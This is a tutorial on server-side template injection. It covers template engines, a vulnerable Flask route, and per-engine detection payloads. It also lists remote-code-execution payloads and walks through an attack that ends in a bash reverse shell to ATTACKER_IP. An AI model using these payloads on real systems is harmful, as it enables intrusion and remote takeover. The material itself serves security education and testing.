

Server-Side Template Injection (SSTI)

by r3dBust3r



What is a Template Engine?

A template engine (**TE**) is a tool used in web development to generate dynamic HTML (or other formats) by combining static templates with dynamic data. Template engines are typically part of web frameworks or standalone libraries.

The developer creates a template file that contains placeholders for dynamic data (variables, loops, conditions).

The template engine processes this template, replacing the placeholders with actual data provided at runtime.

The result is a fully rendered HTML page or document that can be sent to the user's browser.

A template format like **{{ placeholder }}** is commonly used in many template engines. The placeholder inside the curlybraces is where dynamic data gets inserted or evaluated. Depending on the template engine, you can pass different types of values to placeholders, such as:

Type	TE	Input	Output
Text	(Jinja2)	{{ "Emma" }}	Emma
Numbers	(Twig)	{{ 25 }}	25
Arithmetic Operations	(Jinja2)	{{ 50/2 }}	25
Functions	(Jinja2)	{{ "heLlo World!" upper }}	HELLO WORLD!

Here Are Some of The Most Popular Template Engines.

Programming Language	TE
PHP	-----> Blade, Twig, Smarty
JavaScript (NodeJS)	-----> Handlebars, EJS, Pug/Jade
Python	-----> Jinja2
Java	-----> Thymeleaf
Ruby	-----> ERB

What is Server-Side Template Injection (SSTI)?

Server-Side Template Injection (SSTI) is a type of web vulnerability that occurs when user-controlled input is unsafely injected into a server-side template engine.

This allows an attacker to execute arbitrary code or commands on the server, leading to serious security risks, such as:

- Data theft
- System compromise
- Remote code execution.

How does SSTI Happen?

When a web application directly incorporates user input in templates without proper validation or sanitization, attackers can inject malicious template code.

Let’s take an example with **Python (Jinja2)**

```
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route("/ssti-route")
def greet():
    name = request.args.get("name", "Guest")
    template = f"<h1>Hello, {name}!</h1>"
    return render_template_string(template)

app.run()
```

This simple code is vulnerable to **SSTI**, We can exploit it by injection a simple template like: **{{5*5}}**

So accessing **/ssti-route?name={{5*5}}** would output: **Hello, 25!**

How to Detect Which Template Engine Is Being Used?

Detecting which template engine is being used in a web application often requires a combination of methods, including analyzing the server response and testing different payloads.

1. Here are Some of Payloads for each Template Engine

Programming Language	TE	Payload	Output
PHP	Smarty	{'heLlo' upper}	HELLO
PHP	Twig	{{5*'5'}}	25
JavaScript (NodeJS)	Pug/Jade	#{{5*5}}	25
JavaScript (NodeJS)	EJS	<%= 5*5 %>	25
Python	Jinja2	{{5*'5'}}	55555
Java	Thymeleaf	\${5*5}	25
Ruby	ERB	<%= 5*5 %>	25

2. HTTP Headers Analysis

Sometimes, the server headers reveal the framework or technology, which can hint at the template engine.

For Example:

X-Powered-By: Flask	→ Likely →	Jinja2
X-Powered-By: Express	→ Likely →	EJS or Pug
Server: Apache with PHP	→ Likely →	Twig or Blade

SSTI to RCE

After you identify the vulnerable input and the Templte Engine, you can execute remote commands on the target system.

TE	RCE Payload
Smarty	-----> {system('id')}
Twig	-----> {{exec('id')}}}
Pug/Jade	-----> #[root.process.mainModule.require('child_process').spawnSync('ls -la').stdout}
EJS	-----> <%= require('child_process').execSync('id').toString() %>
Jinja2	-----> {{'"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output(["ls", "-la"])}}}
Thymeleaf	-----> \${T(java.lang.Runtime).getRuntime().exec('id').getInputStream().getBytes().toString()}

Let’s Take a Example: {{}}

We received a special HTTP header from the server: **“X-Powered-By: Flask”**

To investigate further, we tested some Server-Side Template Injection (SSTI) payloads and eventually identified a vulnerable user input:

```
https://ssti-target.com/learn/groups?group_name={{5*'5'}}
```

The server returned the following response: **55555**

This confirmed that the application uses **Python (Jinja2)** as its template engine.

To check for potential Remote Code Execution (RCE), We crafted a more advanced payload:

```
https://ssti-target.com/learn/groups?group_name={{'"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output("id")}}}
```

The response was: **uid=1005(sma77) gid=1971 groups=1971**

As the final step, we executed a reverse shell by sending this payload:

```
https://ssti-target.com/learn/groups?group_name={{'"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1"')}}}
```

And we successfully obtained a rev-shell: **sma77@ssti-target:~\$**

Thank you for making it this far!

This presentation was brought to you by **r3dBust3r**

